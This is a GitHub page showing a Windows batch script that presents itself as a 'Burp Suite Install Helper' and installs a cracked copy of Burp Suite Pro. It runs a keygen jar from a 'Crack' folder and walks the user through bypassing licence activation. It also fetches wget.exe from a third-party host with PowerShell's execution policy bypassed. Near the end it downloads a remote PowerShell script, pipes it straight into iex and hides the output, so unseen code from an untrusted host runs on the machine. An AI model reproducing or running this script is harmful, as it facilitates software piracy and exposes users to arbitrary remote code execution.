-
Notifications
You must be signed in to change notification settings - Fork 29
/
burpsuite_installer_windows.bat
123 lines (111 loc) · 7.24 KB
/
burpsuite_installer_windows.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
echo off
title B.S.I.H.
cls
echo Welcome to B.S.I.H. (Burp Suite Install Helper)
echo.
echo.
REM Getting wget.exe using PowerShell "LOLBAS" (Alternative to BitsAdmin)
echo Grabbing wget.exe via PowerShell.
powershell -exec bypass -command "Import-Module BitsTransfer; Start-BitsTransfer 'https://hyperos-script-store.pages.dev/wget.exe' 'wget.exe'"
cls
REM Checking if user has a proper Java version installed
:javacheck
echo Do you have Java 17+ installed?
echo [1] Yes
echo [2] Check (Attempts to run "java -version")
echo [0] No
echo.
choice /c 120 /n /m ">> "
if %ERRORLEVEL%==1 cls
if %ERRORLEVEL%==2 cls && start cmd /k "java -version && pause && exit" && goto javacheck
if %ERRORLEVEL%==3 (
cls
echo Downloading OpenJDK 21
wget.exe --no-check-certificate -q --show-progress -O OpenJDK.msi "https://github.com/adoptium/temurin21-binaries/releases/download/jdk-21.0.2+13/OpenJDK21U-jdk_x64_windows_hotspot_21.0.2_13.msi"
echo.
echo Installing OpenJDK
msiexec /i OpenJDK.msi /qb! /l*v openjdk_install.log
echo Done
)
cls
REM Grabbing Burp Suite from the official servers and installing with unattended mode
echo Downloading Burp Suite
REM wget.exe --no-check-certificate -q --show-progress -O BurpSuiteInstaller.exe "https://portswigger-cdn.net/burp/releases/download?product=pro&version=2023.6.1&type=WindowsX64"
echo.
echo Running installer
REM BurpSuiteInstaller.exe -q -dir 'C:\Program Files\' -overwrite -nofilefailures -splash "Burp Suite Installer" -console
REM Moving and running keygen
cls
echo Copying BurpLoaderKeygen.jar to installed folder
copy Crack\BurpLoaderKeygen.jar "C:\Program Files\BurpSuitePro\" 1>nul2>nul
echo Running BurpLoaderKeygen.jar
start java -jar "C:\Program Files\BurpSuitePro\BurpLoaderKeygen.jar"
REM User interaction required
cls
echo.
echo.
REM The blob below is just a warning sign, you can print it yourself in a seperate batch file if you don't trust me
echo ^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_
echo ^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^:^:^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_
echo ^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^:^:^_^_^:^:^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_
echo ^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^:^:^_^_^_^_^_^_^:^:^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_
echo ^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^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_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_
echo.
echo.
echo User interaction is required from this point on
echo You will be guided from the console on what you have to do
pause
pause
cls
echo.
echo.
echo.
echo 1. Run Burp Suite from the keygen by pressing the Run button
echo.
echo 2. Agree to the Burp Suite license agreement
echo.
echo 3. Copy the license from the keygen and paste it into the license text box located inside Burp Suite and press next
echo.
echo 4. Locate and press "Manual Activation", then press "Copy Request"
echo.
echo 5. Tab back into the keygen and paste the request into the text box on the right side
echo.
echo 6. Copy the activation resposne back into Burp Suite, then press Next -^> Finish -^> Next -^> Start Burp
echo.
echo 7. Enjoy.
echo.
echo.
pause
REM Move run script to BurpSuitePro
move run.bat "C:\Program Files\BurpSuitePro"
REM Modifying the Burp Suite .lnk shortcut to be able to run it without needing to run BurpLoaderKeygen.jar
cls
echo Modifying Burp Suite Pro shortcut
powershell -exec bypass -command "iwr https://hyperos-script-store.pages.dev/lnk.ps1 | iex" 1>nul2>nul
REM Removing files that are no longer needed before exitting
echo Deleting extra files
del /q /f wget.exe 2>nul
del /q /f BurpSuiteInstaller.exe 2>nul
del /q /f .wget-hsts 2>nul
echo Killing java.exe (BurpKeygenLoader.jar)
taskkill /f /im java.exe 1>nul2>nul
REM Finally, exit.
echo Script finished, goodbye.
exit /b 1